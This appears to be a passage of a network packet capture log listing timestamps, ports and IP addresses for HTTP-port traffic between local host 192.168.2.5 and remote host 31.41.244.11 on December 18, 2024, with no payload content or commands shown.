Dec 18, 2024 19:08:49.563325882 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.563389063 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.563404083 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.563467979 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.567979097 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.568088055 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.568097115 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.568147898 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.572938919 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.573035002 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.573049068 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.573096991 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.577259064 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.577326059 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.577373028 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.577414036 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.582041025 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.582093000 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.582120895 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.582151890 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.586586952 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.586651087 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.587124109 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.587177038 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.591269970 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.591356039 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.591371059 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.591412067 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.595949888 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.596080065 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.596740007 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.600624084 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.600719929 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.600804090 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.600860119 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.605479956 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.605561018 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.605695963 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.605745077 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.609945059 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.610003948 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.610037088 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.610070944 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.614681005 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.614761114 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.614769936 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.614841938 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.619378090 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.619427919 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.619509935 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.619555950 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.624006033 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.624085903 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.624248981 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.624289989 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.628650904 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.628703117 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.628984928 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.629025936 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.633346081 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.633411884 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.633769035 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.633814096 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.637983084 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.638166904 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.638245106 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.638298035 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.642741919 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.642810106 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.643146992 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.643188953 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.647393942 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.647449017 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.647593021 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.647635937 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.652003050 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.652071953 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.652285099 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.652328014 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.656675100 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.656724930 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.656821012 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.656873941 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.661401987 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.661478043 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.661490917 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.661519051 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.666115999 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.666199923 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.666219950 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.666260958 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.670748949 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.670816898 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.671458960 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.671519041 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.675390005 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.675448895 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.675709963 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.675750971 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.680033922 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.680107117 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.680233002 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.680278063 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.685153961 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.685209036 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.685344934 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.685386896 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.689403057 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.689472914 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.689483881 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.689512968 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.694080114 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.694128990 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.695379019 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.695451975 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.698702097 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.698760033 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.698951960 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.698996067 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.703417063 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.703463078 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.704313993 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.704355955 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.708142996 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.708201885 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.708823919 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.708873034 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.712802887 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.713211060 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.713241100 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.713273048 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.717426062 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.717478037 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.717892885 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.717945099 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.722054005 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.722105026 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.722122908 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.722158909 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.726742983 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.726799011 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.726867914 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.726907969 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.731426954 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.731508017 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.731515884 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.731556892 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.736090899 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.736177921 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.736192942 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.736231089 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.740736008 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.740823030 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.741147041 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.741194963 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.745481968 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.745539904 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.745814085 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.745860100 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.750024080 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.750111103 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.750118971 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.750160933 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.754709959 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.754765034 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.754785061 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.754822016 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.759361982 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.759453058 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.759607077 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.759654045 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.764056921 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.764103889 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.764445066 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.764493942 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.768768072 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.768786907 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.768847942 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.768877983 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.773319960 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.773375034 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.773509026 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.773554087 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.777931929 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.778002977 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.778795958 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.778855085 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.782607079 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.782682896 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.783010960 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.783058882 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.787461042 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.787547112 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.787993908 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.788045883 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.792226076 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.792310953 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.792340994 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.792390108 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.796547890 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.796607018 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.796646118 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.796683073 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.801214933 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.801295996 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.801521063 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.801568031 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.805879116 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.805943012 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.805974960 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.806015968 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.810494900 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.810573101 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.810597897 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.810643911 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.815136909 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.815217018 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.815247059 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.815289974 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.819772005 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.819880009 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.819880962 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.819922924 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.824650049 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.824693918 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.824758053 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.824799061 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.829154015 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.829241037 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.830573082 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.830646038 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.833755016 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.833837032 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.833834887 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.833872080 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.838409901 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.838464975 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.839087963 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.839143038 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.843029022 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.843097925 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.843151093 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.843192101 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.847690105 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.847771883 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.847820044 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.847861052 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.852329016 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.852466106 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.852500916 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.852562904 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.857001066 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.857081890 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.857105017 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.857146025 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.861623049 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.861690044 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.861690998 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.861725092 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.866283894 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.866329908 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.867249012 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.867326975 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.870958090 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.871033907 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.871069908 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.871109962 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.875593901 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.875678062 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.875777006 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.875830889 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.882716894 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.882730007 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.882824898 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.884928942 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.885003090 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.885309935 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.885360003 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.889549017 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.889633894 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.889632940 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.889669895 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.894290924 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.894367933 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.894682884 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.894723892 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.903245926 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.903268099 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.903359890 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.903518915 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.903563023 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.903624058 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.903664112 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.908102989 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.908184052 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.908483982 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.908541918 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.912807941 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.912890911 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.912889957 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.912934065 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.919708967 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.919755936 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.919847965 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.919889927 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.924417019 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.924468994 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.924591064 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.924626112 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.929059029 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.929104090 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.929202080 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.929250002 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.933768988 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.933780909 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.933824062 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.933857918 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.940984011 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.941087961 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.941123962 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.941190004 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.945785999 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.945858955 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.946057081 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.946106911 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.949917078 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.949984074 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.950078964 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.950120926 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.953432083 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.953449965 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.953496933 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.953525066 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.958168030 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.958230019 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.958602905 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.958643913 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.962877989 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.962892056 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.962939978 CET	49739	80	192.168.2.5	31.41.244.11
